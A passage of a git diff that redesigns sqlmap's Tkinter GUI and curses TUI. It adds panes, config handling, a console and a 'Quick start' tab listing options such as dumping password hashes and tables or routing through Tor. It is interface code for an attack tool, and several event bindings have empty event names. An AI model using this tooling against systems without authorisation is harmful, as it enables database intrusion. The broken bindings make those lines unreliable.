background=p["mantle"], width=3) + strip.pack(side=tk.LEFT, fill=tk.Y) + icon = tk.Canvas(row, width=22, height=22, highlightthickness=0, borderwidth=0, background=p["mantle"]) + icon.pack(side=tk.LEFT, padx=(13, 0), pady=8) + self._drawIcon(icon, name, self._iconColor(name)) + lab = tk.Label(row, text=navText, background=p["mantle"], foreground=p["subtext"], + font=self.fonts["nav"], anchor="w", padx=10, pady=9) + lab.pack(side=tk.LEFT, fill=tk.X, expand=True) + for w in (row, lab, strip, icon): + w.bind("", lambda e, n=name: self._selectPane(n)) + w.bind("", lambda e, n=name: self._navHover(n, True)) + w.bind("", lambda e, n=name: self._navHover(n, False)) + self.navItems[name] = (row, strip, icon, lab) + self.paneOrder.append(name) + + outer = self.ttk.Frame(self.content, style="Card.TFrame") + canvas = tk.Canvas(outer, background=p["base"], highlightthickness=0, borderwidth=0) + scrollbar = self.ttk.Scrollbar(outer, orient="vertical", command=canvas.yview, style="Vertical.TScrollbar") + inner = self.ttk.Frame(canvas, style="Card.TFrame", padding=(24, 20)) + inner.bind("", lambda e: canvas.configure(scrollregion=canvas.bbox("all"))) + window_id = canvas.create_window((0, 0), window=inner, anchor="nw") + canvas.bind("", lambda e: canvas.itemconfigure(window_id, width=e.width)) + canvas.configure(yscrollcommand=scrollbar.set) + canvas.pack(side="left", fill="both", expand=True) + scrollbar.pack(side="right", fill="y") + self.panes[name] = outer + self.canvases[name] = canvas + self.inners[name] = inner + return inner + + def _iconColor(self, name): + return PALETTE.get(ICON_COLORS.get(name, "subtext"), PALETTE["subtext"]) + + def _navHover(self, name, entering): + if name == self.currentPane: + return + bg = PALETTE["surface2"] if entering else PALETTE["mantle"] + row, strip, icon, lab = self.navItems[name] + for w in (row, strip, icon, lab): + w.configure(background=bg) + + def _navKey(self, delta): + try: + focused = self.window.focus_get() + except Exception: + focused = None + if isinstance(focused, (self.ttk.Entry, self.ttk.Combobox)): + return None + if self.paneOrder: + index = self.paneOrder.index(self.currentPane) + self._selectPane(self.paneOrder[(index + delta) % len(self.paneOrder)]) + return "break" + + def _selectPane(self, name): + if name not in self.built: # lazy: populate the pane on first visit + self.builders[name](self.inners[name]) + self.built.add(name) + if self.currentPane == name: + return + p = PALETTE + if self.currentPane: + self.panes[self.currentPane].pack_forget() + row, strip, icon, lab = self.navItems[self.currentPane] + for w in (row, strip, icon): + w.configure(background=p["mantle"]) + lab.configure(background=p["mantle"], foreground=p["text"], font=self.fonts["nav"]) + self._drawIcon(icon, self.currentPane, self._iconColor(self.currentPane)) + self.panes[name].pack(expand=True, fill=self.tk.BOTH) + row, strip, icon, lab = self.navItems[name] + for w in (row, strip, icon): + w.configure(background=p["blue"]) + lab.configure(background=p["blue"], foreground="#ffffff", font=self.fonts["bodyBold"]) + self._drawIcon(icon, name, "#ffffff") + self.currentPane = name + self._ensureNavVisible(name) + + if hasattr(self, "hint"): # don't leave the previous section's option hint lingering + self.hint.set(HINT_DEFAULT) + + def _ensureNavVisible(self, name): + # scroll the sidebar so the active item stays in view (e.g. when paging with Up/Down) + try: + row = self.navItems[name][0] + self.nav.update_idletasks() + total = self.nav.winfo_height() + viewH = self.navCanvas.winfo_height() + if total <= 1 or viewH <= 1: + return + top = row.winfo_y() + bottom = top + row.winfo_height() + curTop = self.navCanvas.yview()[0] * total + if top < curTop: + self.navCanvas.yview_moveto(float(top) / total) + elif bottom > curTop + viewH: + self.navCanvas.yview_moveto(float(bottom - viewH) / total) + except Exception: + pass + + def _onWheel(self, event): + # route the wheel to whichever scroll region the pointer is over (sidebar or content) + delta = 1 if getattr(event, "num", None) == 5 or getattr(event, "delta", 0) < 0 else -1 + target = None + node = self.window.winfo_containing(event.x_root, event.y_root) + while node is not None: + if node is self.navCanvas: + target = self.navCanvas + break + if self.currentPane and node is self.canvases.get(self.currentPane): + target = self.canvases[self.currentPane] + break + try: + node = node.master + except Exception: + break + if target is None and self.currentPane: + target = self.canvases.get(self.currentPane) + if target is not None: + target.yview_scroll(delta, "units") + return "break" + + def _buildQuickStartPane(self): + name = "Quick start" + self._addPane(name, name) + + def build(inner): + self.ttk.Label(inner, text="Quick start", style="Pane.TLabel").grid(row=0, column=0, columnspan=2, sticky="w") + self.ttk.Label(inner, text="The options people reach for most. Set the target above, tick what you want, then Run.", + style="Desc.TLabel", wraplength=640, justify="left").grid(row=1, column=0, columnspan=2, sticky="w", pady=(2, 14)) + row = 2 + for dest in QUICK_START_DESTS: + option = self.optionByDest.get(dest) + if option is not None: + row = self._buildFieldRow(inner, option, row) + inner.columnconfigure(1, weight=1) + + self.builders[name] = build + + def _buildGroupPane(self, group): + title = _groupTitle(group) + self._addPane(title, NAV_ALIASES.get(title, title)) + + def build(inner, group=group, title=title): + self.ttk.Label(inner, text=title, style="Pane.TLabel").grid(row=0, column=0, columnspan=2, sticky="w") + row = 1 + description = _groupDescription(group) + if description: + self.ttk.Label(inner, text=description, style="Desc.TLabel", wraplength=640, justify="left").grid( + row=row, column=0, columnspan=2, sticky="w", pady=(2, 14)) + row += 1 + for option in _groupOptions(group): + row = self._buildFieldRow(inner, option, row) + inner.columnconfigure(1, weight=1) + + self.builders[title] = build + + def _destVar(self, dest, is_bool): + # one shared variable per option, so every widget that edits it (Quick start pane, + # the proper group pane, the target bar) reflects into the same value both ways + if dest not in self.vars: + self.vars[dest] = self.tk.IntVar() if is_bool else self.tk.StringVar() + return self.vars[dest] + + def _buildFieldRow(self, parent, option, row): + p = PALETTE + tk = self.tk + label = _optionLabel(option) + helptext = _optHelp(option) + dest = _optDest(option) + is_bool = not _optTakesValue(option) + firstSeen = dest not in self.vars + + def bindHint(widget): + widget.bind("", lambda e: self.hint.set(helptext), add="+") + widget.bind("", lambda e: self.hint.set(helptext), add="+") + widget.bind("", lambda e: self.hint.set(HINT_DEFAULT), add="+") + widget.bind("", lambda e: self.hint.set(HINT_DEFAULT), add="+") + + if is_bool: + var = self._destVar(dest, True) + chk = self.ttk.Checkbutton(parent, text=label, variable=var, takefocus=True) + chk.grid(row=row, column=0, columnspan=2, sticky="w", pady=5) + _Tooltip(chk, helptext, tk, p) + bindHint(chk) + if firstSeen: + self.widgets[dest] = ("bool", var) + else: + otype = _optValueType(option) + var = self._destVar(dest, False) + if firstSeen: + default = defaults.get(dest) + if default not in (None, False): + var.set(default) + self.widgets[dest] = (otype, var) + lab = self.ttk.Label(parent, text=label, style="Field.TLabel") + lab.grid(row=row, column=0, sticky="w", padx=(0, 18), pady=6) + _Tooltip(lab, helptext, tk, p) + bindHint(lab) + choices = _optChoices(option) + if choices: + widget = self.ttk.Combobox(parent, values=list(choices), state="readonly", textvariable=var) else: - self.set(self.old_value) - - try: - window = _tkinter.Tk() - except Exception as ex: - errMsg = "unable to create GUI window ('%s')" % getSafeExString(ex) - raise SqlmapSystemException(errMsg) - - window.title("sqlmap - Tkinter GUI") - - # Set theme and colors - bg_color = "#f5f5f5" - fg_color = "#333333" - accent_color = "#2c7fb8" - window.configure(background=bg_color) - - # Configure styles - style = _tkinter_ttk.Style() - - # Try to use a more modern theme if available - available_themes = style.theme_names() - if 'clam' in available_themes: - style.theme_use('clam') - elif 'alt' in available_themes: - style.theme_use('alt') - - # Configure notebook style - style.configure("TNotebook", background=bg_color) - style.configure("TNotebook.Tab", - padding=[10, 4], - background="#e1e1e1", - font=('Helvetica', 9)) - style.map("TNotebook.Tab", - background=[("selected", accent_color), ("active", "#7fcdbb")], - foreground=[("selected", "white"), ("active", "white")]) - - # Configure button style - style.configure("TButton", - padding=4, - relief="flat", - background=accent_color, - foreground="white", - font=('Helvetica', 9)) - style.map("TButton", - background=[('active', '#41b6c4')]) - - # Reference: https://stackoverflow.com/a/10018670 - def center(window): + widget = self.ttk.Entry(parent, textvariable=var) + if otype in ("int", "float"): + self._constrain(widget, otype) + widget.grid(row=row, column=1, sticky="ew", pady=6) + _Tooltip(widget, helptext, tk, p) + bindHint(widget) + return row + 1 + + def _constrain(self, entry, otype): + check = (lambda s: s == "" or s.replace(".", "", 1).isdigit()) if otype == "float" else (lambda s: s == "" or s.isdigit()) + vcmd = (self.window.register(lambda proposed: bool(check(proposed))), "%P") + entry.configure(validate="key", validatecommand=vcmd) + + # --- helpers -------------------------------------------------------- + + def _center(self, window, width=None, height=None): window.update_idletasks() - width = window.winfo_width() - frm_width = window.winfo_rootx() - window.winfo_x() - win_width = width + 2 * frm_width - height = window.winfo_height() - titlebar_height = window.winfo_rooty() - window.winfo_y() - win_height = height + titlebar_height + frm_width - x = window.winfo_screenwidth() // 2 - win_width // 2 - y = window.winfo_screenheight() // 2 - win_height // 2 - window.geometry('{}x{}+{}+{}'.format(width, height, x, y)) - window.deiconify() - - def onKeyPress(event): - global line - global queue - - if process: - if event.char == '\b': - line = line[:-1] - else: - line += event.char - - def onReturnPress(event): - global line - global queue - - if process: + width = width or window.winfo_width() + height = height or window.winfo_height() + x = window.winfo_screenwidth() // 2 - width // 2 + y = window.winfo_screenheight() // 2 - height // 2 + window.geometry("%dx%d+%d+%d" % (width, height, x, y)) + + def _updateStats(self): + count = 0 + for dest, (otype, var) in self.widgets.items(): try: - process.stdin.write(("%s\n" % line.strip()).encode()) - process.stdin.flush() - except socket.error: - line = "" - event.widget.master.master.destroy() - return "break" - except: - return - - event.widget.insert(_tkinter.END, "\n") - - return "break" - - def run(): - global alive - global process - global queue - + if otype == "bool": + if var.get(): + count += 1 + else: + raw = var.get() + if raw not in (None, "") and str(raw) != str(defaults.get(dest, "")): + count += 1 + except Exception: + pass + self.stat.set("%d option%s set" % (count, "" if count == 1 else "s")) + + def _buildCommandString(self): + parts = ["sqlmap.py"] + for dest, (otype, var) in self.widgets.items(): + option = self.optionByDest.get(dest) + if option is None: + continue + strings = _optStrings(option) + if not strings: + continue + flag = strings[0] + try: + if otype == "bool": + if var.get(): + parts.append(flag) + else: + raw = var.get() + if raw not in (None, "") and str(raw) != str(defaults.get(dest, "")): + value = str(raw) + if " " in value or '"' in value: + value = '"%s"' % value.replace('"', '\\"') + parts.append("%s %s" % (flag, value)) + except Exception: + pass + return " ".join(parts) + + def _tickStats(self): + self._updateStats() + self.command.set(self._buildCommandString()) + self.window.after(1200, self._tickStats) + + def _collectConfig(self): config = {} - - for key in window._widgets: - dest, widget_type = key - widget = window._widgets[key] - - if hasattr(widget, "get") and not widget.get(): + for dest, (otype, var) in self.widgets.items(): + try: + if otype == "bool": + value = bool(var.get()) + else: + raw = var.get() + if raw in (None, ""): + value = None + elif otype == "int": + value = int(raw) + elif otype == "float": + value = float(raw) + else: + value = raw + except Exception: value = None - elif widget_type == "string": - value = widget.get() - elif widget_type == "float": - value = float(widget.get()) - elif widget_type == "int": - value = int(widget.get()) - else: - value = bool(widget.var.get()) - config[dest] = value - - for option in parser.option_list: - # Only set default if not already set by the user - if option.dest not in config or config[option.dest] is None: - config[option.dest] = defaults.get(option.dest, None) - + for option in self.optionByDest.values(): + dest = _optDest(option) + if config.get(dest) is None: + config[dest] = defaults.get(dest, None) + return config + + def _setWidgetValue(self, dest, value): + if dest not in self.widgets: + return + otype, var = self.widgets[dest] + try: + if otype == "bool": + var.set(1 if value else 0) + else: + var.set("" if value in (None, False) else value) + except Exception: + pass + + # --- actions -------------------------------------------------------- + + def loadConfig(self): + path = self.filedialog.askopenfilename(title="Load configuration", filetypes=[("sqlmap config", "*.conf *.ini"), ("All files", "*.*")]) + if not path: + return + try: + from thirdparty.six.moves import configparser as _configparser + parser = _configparser.ConfigParser() + parser.read(path) + count = 0 + for section in parser.sections(): + for name, value in parser.items(section): + if name in self.widgets: + if self.widgets[name][0] == "bool": + self._setWidgetValue(name, str(value).lower() in ("1", "true", "yes", "on")) + else: + self._setWidgetValue(name, value) + count += 1 + self.hint.set("Loaded %d options from %s" % (count, os.path.basename(path))) + except Exception as ex: + self.messagebox.showerror("Load failed", getSafeExString(ex)) + + def saveConfigDialog(self): + path = self.filedialog.asksaveasfilename(title="Save configuration", defaultextension=".conf", filetypes=[("sqlmap config", "*.conf")]) + if not path: + return + try: + saveConfig(self._collectConfig(), path) + self.hint.set("Saved configuration to %s" % os.path.basename(path)) + except Exception as ex: + self.messagebox.showerror("Save failed", getSafeExString(ex)) + + def run(self): + config = self._collectConfig() handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) os.close(handle) - saveConfig(config, configFile) - def enqueue(stream, queue): - global alive + self.alive = True + self.process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], + shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, + bufsize=1, close_fds=not IS_WIN) + self.queue = _queue.Queue() + def enqueue(stream, queue): for line in iter(stream.readline, b''): queue.put(line) - - alive = False + self.alive = False stream.close() - alive = True - - process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN) - - # Reference: https://stackoverflow.com/a/4896288 - queue = _queue.Queue() - thread = threading.Thread(target=enqueue, args=(process.stdout, queue)) + thread = threading.Thread(target=enqueue, args=(self.process.stdout, self.queue)) thread.daemon = True thread.start() - - top = _tkinter.Toplevel() - top.title("Console") - top.configure(background=bg_color) - - # Create a frame for the console - console_frame = _tkinter.Frame(top, bg=bg_color) - console_frame.pack(fill=_tkinter.BOTH, expand=True, padx=10, pady=10) - - # Reference: https://stackoverflow.com/a/13833338 - text = _tkinter_scrolledtext.ScrolledText(console_frame, undo=True, wrap=_tkinter.WORD, - bg="#2c3e50", fg="#ecf0f1", - insertbackground="white", - font=('Consolas', 10)) - text.bind("", onKeyPress) - text.bind("", onReturnPress) - text.pack(fill=_tkinter.BOTH, expand=True) + self._openConsole() + + def _openConsole(self): + p = PALETTE + tk = self.tk + top = tk.Toplevel(self.window) + top.title("sqlmap - console") + top.configure(background=p["crust"]) + frame = self.ttk.Frame(top, style="Card.TFrame", padding=10) + frame.configure(style="Card.TFrame") + frame.pack(fill=tk.BOTH, expand=True) + + text = self.scrolledtext.ScrolledText(frame, wrap=tk.WORD, bg=p["crust"], fg=p["text"], + insertbackground=p["blue"], relief="flat", borderwidth=0, + font=self.fonts["mono"], padx=12, pady=10) + text.pack(fill=tk.BOTH, expand=True) text.focus() + lineBuffer = {"value": ""} + + def onKey(event): + if self.process: + if event.char == "\b": + lineBuffer["value"] = lineBuffer["value"][:-1] + elif event.char: + lineBuffer["value"] += event.char + + def onReturn(event): + if self.process: + try: + self.process.stdin.write(("%s\n" % lineBuffer["value"].strip()).encode()) + self.process.stdin.flush() + except Exception: + pass + lineBuffer["value"] = "" + text.insert(tk.END, "\n") + return "break" - center(top) + text.bind("", onKey) + text.bind("", onReturn) - while True: - line = "" + def pump(): + drained = False try: - line = queue.get(timeout=.1) - text.insert(_tkinter.END, line) + while True: + line = self.queue.get_nowait() + text.insert(tk.END, line.decode("utf-8", errors="replace") if isinstance(line, bytes) else line) + drained = True except _queue.Empty: - text.see(_tkinter.END) - text.update_idletasks() - - if not alive: - break - - # Create a menu bar - menubar = _tkinter.Menu(window, bg=bg_color, fg=fg_color) - - filemenu = _tkinter.Menu(menubar, tearoff=0, bg=bg_color, fg=fg_color) - filemenu.add_command(label="Open", state=_tkinter.DISABLED) - filemenu.add_command(label="Save", state=_tkinter.DISABLED) - filemenu.add_separator() - filemenu.add_command(label="Exit", command=window.quit) - menubar.add_cascade(label="File", menu=filemenu) - - menubar.add_command(label="Run", command=run) - - helpmenu = _tkinter.Menu(menubar, tearoff=0, bg=bg_color, fg=fg_color) - helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) - helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE)) - helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) - helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) - helpmenu.add_separator() - helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "%s\n\n (%s)" % (VERSION_STRING, DEV_EMAIL_ADDRESS))) - menubar.add_cascade(label="Help", menu=helpmenu) - - window.config(menu=menubar, bg=bg_color) - window._widgets = {} - - # Create header frame - header_frame = _tkinter.Frame(window, bg=bg_color, height=60) - header_frame.pack(fill=_tkinter.X, pady=(0, 5)) - header_frame.pack_propagate(0) - - # Add header label - title_label = _tkinter.Label(header_frame, text="Configuration", - font=('Helvetica', 14), - fg=accent_color, bg=bg_color) - title_label.pack(side=_tkinter.LEFT, padx=15) - - # Add run button in header - run_button = _tkinter_ttk.Button(header_frame, text="Run", command=run, width=12) - run_button.pack(side=_tkinter.RIGHT, padx=15) - - # Create notebook - notebook = _tkinter_ttk.Notebook(window) - notebook.pack(expand=1, fill="both", padx=5, pady=(0, 5)) - - # Store tab information for background loading - tab_frames = {} - tab_canvases = {} - tab_scrollable_frames = {} - tab_groups = {} - - # Create empty tabs with scrollable areas first (fast) - for group in parser.option_groups: - # Create a frame with scrollbar for the tab - tab_frame = _tkinter.Frame(notebook, bg=bg_color) - tab_frames[group.title] = tab_frame - - # Create a canvas with scrollbar - canvas = _tkinter.Canvas(tab_frame, bg=bg_color, highlightthickness=0) - scrollbar = _tkinter_ttk.Scrollbar(tab_frame, orient="vertical", command=canvas.yview) - scrollable_frame = _tkinter.Frame(canvas, bg=bg_color) - - # Store references - tab_canvases[group.title] = canvas - tab_scrollable_frames[group.title] = scrollable_frame - tab_groups[group.title] = group - - # Configure the canvas scrolling - scrollable_frame.bind( - "", - lambda e, canvas=canvas: canvas.configure(scrollregion=canvas.bbox("all")) - ) - - canvas.create_window((0, 0), window=scrollable_frame, anchor="nw") - canvas.configure(yscrollcommand=scrollbar.set) - - # Pack the canvas and scrollbar - canvas.pack(side="left", fill="both", expand=True) - scrollbar.pack(side="right", fill="y") - - # Add the tab to the notebook - notebook.add(tab_frame, text=group.title) - - # Add a loading indicator - loading_label = _tkinter.Label(scrollable_frame, text="Loading options...", - font=('Helvetica', 12), - fg=accent_color, bg=bg_color) - loading_label.pack(expand=True) - - # Function to populate a tab in the background - def populate_tab(tab_name): - group = tab_groups[tab_name] - scrollable_frame = tab_scrollable_frames[tab_name] - canvas = tab_canvases[tab_name] - - # Remove loading indicator - for child in scrollable_frame.winfo_children(): - child.destroy() - - # Add content to the scrollable frame - row = 0 - - if group.get_description(): - desc_label = _tkinter.Label(scrollable_frame, text=group.get_description(), - wraplength=600, justify="left", - font=('Helvetica', 9), - fg="#555555", bg=bg_color) - desc_label.grid(row=row, column=0, columnspan=3, sticky="w", padx=10, pady=(10, 5)) - row += 1 - - for option in group.option_list: - # Option label - option_label = _tkinter.Label(scrollable_frame, - text=parser.formatter._format_option_strings(option) + ":", - font=('Helvetica', 9), - fg=fg_color, bg=bg_color, - anchor="w") - option_label.grid(row=row, column=0, sticky="w", padx=10, pady=2) - - # Input widget - if option.type == "string": - widget = _tkinter.Entry(scrollable_frame, font=('Helvetica', 9), - relief="sunken", bd=1, width=20) - widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) - elif option.type == "float": - widget = ConstrainedEntry(scrollable_frame, regex=r"\A\d*\.?\d*\Z", - font=('Helvetica', 9), - relief="sunken", bd=1, width=10) - widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) - elif option.type == "int": - widget = ConstrainedEntry(scrollable_frame, regex=r"\A\d*\Z", - font=('Helvetica', 9), - relief="sunken", bd=1, width=10) - widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) + pass + if drained: + text.see(tk.END) + if self.alive or not self.queue.empty(): + top.after(80, pump) else: - var = _tkinter.IntVar() - widget = _tkinter.Checkbutton(scrollable_frame, variable=var, - bg=bg_color, activebackground=bg_color) - widget.var = var - widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) - - # Help text (truncated to improve performance) - help_text = option.help - if len(help_text) > 100: - help_text = help_text[:100] + "..." - - help_label = _tkinter.Label(scrollable_frame, text=help_text, - font=('Helvetica', 8), - fg="#666666", bg=bg_color, - wraplength=400, justify="left") - help_label.grid(row=row, column=2, sticky="w", padx=5, pady=2) - - # Store widget reference - window._widgets[(option.dest, option.type)] = widget - - # Set default value - default = defaults.get(option.dest) - if default: - if hasattr(widget, "insert"): - widget.insert(0, default) - elif hasattr(widget, "var"): - widget.var.set(1 if default else 0) - - row += 1 - - # Add some padding at the bottom - _tkinter.Label(scrollable_frame, bg=bg_color, height=1).grid(row=row, column=0) - - # Update the scroll region after adding all widgets - canvas.update_idletasks() - canvas.configure(scrollregion=canvas.bbox("all")) - - # Update the UI to show the tab is fully loaded - window.update_idletasks() + text.insert(tk.END, "\n--- process finished ---\n") + text.see(tk.END) - # Function to populate tabs in the background - def populate_tabs_background(): - for tab_name in tab_groups.keys(): - # Schedule each tab to be populated with a small delay between them - window.after(100, lambda name=tab_name: populate_tab(name)) + self._center(top, 900, 580) + top.after(80, pump) - # Start populating tabs in the background after a short delay - window.after(500, populate_tabs_background) - - # Set minimum window size - window.update() - window.minsize(800, 500) - - # Center the window on screen - center(window) +def runGui(parser): + try: + from thirdparty.six.moves import tkinter as _tkinter + from thirdparty.six.moves import tkinter_scrolledtext as _scrolledtext + from thirdparty.six.moves import tkinter_ttk as _ttk + from thirdparty.six.moves import tkinter_messagebox as _messagebox + from thirdparty.six.moves import tkinter_filedialog as _filedialog + from thirdparty.six.moves import tkinter_font as _font + except ImportError as ex: + raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) - # Start the GUI - window.mainloop() + app = SqlmapGui(parser, _tkinter, _ttk, _scrolledtext, _messagebox, _filedialog, _font) + app.window.mainloop() diff --git a/lib/utils/tui.py b/lib/utils/tui.py index d785e5f7673..476ecceccff 100644 --- a/lib/utils/tui.py +++ b/lib/utils/tui.py @@ -25,6 +25,75 @@ from lib.core.settings import IS_WIN from thirdparty.six.moves import configparser as _configparser +# Options surfaced on the curated "Quick start" tab (by destination), in display order +QUICK_START_DESTS = ( + "url", "data", "cookie", "dbms", "level", "risk", "technique", + "getCurrentUser", "getCurrentDb", "getBanner", "isDba", + "getDbs", "getTables", "getColumns", "getPasswordHashes", "dumpTable", + "batch", "threads", "proxy", "tor", +) + +# Short tab labels so the (sometimes verbose) option-group titles fit the top bar +TAB_ALIASES = { + "Optimization": "Optimize", + "Enumeration": "Enumerate", + "Brute force": "Brute", + "User-defined function injection": "UDF", + "File system access": "Files", + "Operating system access": "OS", + "Windows registry access": "Registry", + "Miscellaneous": "Misc", +} + +# --- parser-backend compatibility (works for both optparse and argparse objects) --- + +def _parserGroups(parser): + groups = getattr(parser, "option_groups", None) + if groups is None: + groups = [_ for _ in getattr(parser, "_action_groups", []) if getattr(_, "title", None) not in (None, "positional arguments", "optional arguments", "options")] + return groups or [] + +def _groupOptions(group): + for attr in ("option_list", "_group_actions"): + if hasattr(group, attr): + return getattr(group, attr) + return [] + +def _groupTitle(group): + return getattr(group, "title", "") or "" + +def _groupDescription(group): + if hasattr(group, "get_description"): + return group.get_description() or "" + return getattr(group, "description", "") or "" + +def _optStrings(option): + if hasattr(option, "option_strings"): + return list(option.option_strings) + return list(getattr(option, "_short_opts", None) or []) + list(getattr(option, "_long_opts", None) or []) + +def _optDest(option): + return getattr(option, "dest", None) + +def _optHelp(option): + return getattr(option, "help", "") or "" + +def _optTakesValue(option): + if hasattr(option, "takes_value"): + try: + return option.takes_value() + except Exception: + pass + return getattr(option, "nargs", 1) != 0 + +def _optValueType(option): + kind = getattr(option, "type", None) + if kind in ("int", int): + return "int" + if kind in ("float", float): + return "float" + return "string" + class NcursesUI: def __init__(self, stdscr, parser): self.stdscr = stdscr @@ -38,61 +107,110 @@ def __init__(self, stdscr, parser): self.process = None # Initialize colors - curses.start_color() - curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_CYAN) # Header - curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE) # Active tab - curses.init_pair(3, curses.COLOR_BLACK, curses.COLOR_WHITE) # Inactive tab - curses.init_pair(4, curses.COLOR_YELLOW, curses.COLOR_BLACK) # Selected field - curses.init_pair(5, curses.COLOR_GREEN, curses.COLOR_BLACK) # Help text - curses.init_pair(6, curses.COLOR_RED, curses.COLOR_BLACK) # Error/Important - curses.init_pair(7, curses.COLOR_CYAN, curses.COLOR_BLACK) # Label + self._init_colors() # Setup curses - curses.curs_set(1) + curses.curs_set(0) self.stdscr.keypad(1) # Parse option groups self._parse_options() + def _init_colors(self): + """Cohesive palette: a flat 256-color scheme with a graceful 8-color fallback""" + curses.start_color() + try: + curses.use_default_colors() + default_bg = -1 + except curses.error: + default_bg = curses.COLOR_BLACK + + if curses.COLORS >= 256: + accent, accent_fg, sel_bg = 75, 234, 237 + text, muted, green, red = 252, 245, 114, 210 + curses.init_pair(1, accent_fg, accent) # header / footer bar + curses.init_pair(2, accent_fg, accent) # active tab + curses.init_pair(3, muted, 236) # inactive tab + curses.init_pair(4, accent, sel_bg) # selected field row + curses.init_pair(5, muted, default_bg) # help / description + curses.init_pair(6, red, default_bg) # error / important + curses.init_pair(7, text, default_bg) # label / value + curses.init_pair(8, green, default_bg) # value that has been set + curses.init_pair(9, muted, sel_bg) # help text on the highlighted row + else: + curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_CYAN) + curses.init_pair(2, curses.COLOR_BLACK, curses.COLOR_CYAN) + curses.init_pair(3, curses.COLOR_WHITE, curses.COLOR_BLUE) + curses.init_pair(4, curses.COLOR_BLACK, curses.COLOR_CYAN) + curses.init_pair(5, curses.COLOR_GREEN, default_bg) + curses.init_pair(6, curses.COLOR_RED, default_bg) + curses.init_pair(7, curses.COLOR_WHITE, default_bg) + curses.init_pair(8, curses.COLOR_GREEN, default_bg) + curses.init_pair(9, curses.COLOR_BLACK, curses.COLOR_CYAN) + def _parse_options(self): """Parse command line options into tabs and fields""" - for group in self.parser.option_groups: + self.all_options = [] + for group in _parserGroups(self.parser): + title = _groupTitle(group) tab_data = { - 'title': group.title, - 'description': group.get_description() if hasattr(group, 'get_description') and group.get_description() else "", + 'title': title, + 'description': _groupDescription(group), 'options': [] } - for option in group.option_list: + for option in _groupOptions(group): + dest = _optDest(option) + if not dest: + continue field_data = { - 'dest': option.dest, + 'dest': dest, 'label': self._format_option_strings(option), - 'help': option.help if option.help else "", - 'type': option.type if hasattr(option, 'type') and option.type else 'bool', + 'help': _optHelp(option), + 'type': _optValueType(option) if _optTakesValue(option) else 'bool', 'value': '', - 'default': defaults.get(option.dest) if defaults.get(option.dest) else None + 'default': defaults.get(dest) if defaults.get(dest) else None } tab_data['options'].append(field_data) - self.fields[(group.title, option.dest)] = field_data + self.fields[(title, dest)] = field_data + self.all_options.append(field_data) self.tabs.append(tab_data) + # curated "Quick start" tab; references the same field objects as the group tabs, + # so a value edited in either place stays in sync + seen = {} + for tab in self.tabs: + for option in tab['options']: + seen.setdefault(option['dest'], option) + quick = { + 'title': 'Quick start', + 'description': "The options people reach for most. Fill these in, then press F2 to run.", + 'options': [seen[dest] for dest in QUICK_START_DESTS if dest in seen], + } + if quick['options']: + self.tabs.insert(0, quick) + def _format_option_strings(self, option): """Format option strings for display""" - parts = [] - if hasattr(option, '_short_opts') and option._short_opts: - parts.extend(option._short_opts) - if hasattr(option, '_long_opts') and option._long_opts: - parts.extend(option._long_opts) - return ', '.join(parts) + return ', '.join(_optStrings(option)) + + def _tab_title(self, tab): + return TAB_ALIASES.get(tab['title'], tab['title']) def _draw_header(self): """Draw the header bar""" height, width = self.stdscr.getmaxyx() - header = " sqlmap - ncurses TUI " self.stdscr.attron(curses.color_pair(1) | curses.A_BOLD) - self.stdscr.addstr(0, 0, header.center(width)) - self.stdscr.attroff(curses.color_pair(1) | curses.A_BOLD) + self.stdscr.addstr(0, 0, " " * width) + self.stdscr.addstr(0, 1, "sqlmap") + self.stdscr.attroff(curses.A_BOLD) + right = "F2 Run - F10 Quit " + try: + self.stdscr.addstr(0, max(8, width - len(right)), right) + except: + pass + self.stdscr.attroff(curses.color_pair(1)) def _get_tab_bar_height(self): """Calculate how many rows the tab bar uses""" @@ -101,16 +219,12 @@ def _get_tab_bar_height(self): x = 0 for i, tab in enumerate(self.tabs): - tab_text = " %s " % tab['title'] - - # Check if tab exceeds width, wrap to next line + tab_text = " %s " % self._tab_title(tab) if x + len(tab_text) >= width: y += 1 x = 0 - # Stop if we've used too many lines - if y >= 3: + if y >= 4: break - x += len(tab_text) + 1 return y @@ -122,14 +236,11 @@ def _draw_tabs(self): x = 0 for i, tab in enumerate(self.tabs): - tab_text = " %s " % tab['title'] - - # Check if tab exceeds width, wrap to next line + tab_text = " %s " % self._tab_title(tab) if x + len(tab_text) >= width: y += 1 x = 0 - # Stop if we've used too many lines - if y >= 3: + if y >= 4: break if i == self.current_tab: @@ -152,11 +263,11 @@ def _draw_tabs(self): def _draw_footer(self): """Draw the footer with help text""" height, width = self.stdscr.getmaxyx() - footer = " [Tab] Next | [Arrows] Navigate | [Enter] Edit | [F2] Run | [F3] Export | [F4] Import | [F10] Quit " + footer = " Tab/<-/-> Section Up/Down Field Enter/Space Edit F2 Run F3 Export F4 Import F10 Quit " try: self.stdscr.attron(curses.color_pair(1)) - self.stdscr.addstr(height - 1, 0, footer.ljust(width)) + self.stdscr.addstr(height - 1, 0, footer.ljust(width)[:width - 1]) self.stdscr.attroff(curses.color_pair(1)) except: pass @@ -202,51 +313,58 @@ def _draw_current_tab(self): is_selected = (i == self.current_field) - # Draw label + # full-width highlight bar for the selected row + if is_selected: + try: + self.stdscr.attron(curses.color_pair(4)) + self.stdscr.addstr(y, 0, " " * (width - 1)) + 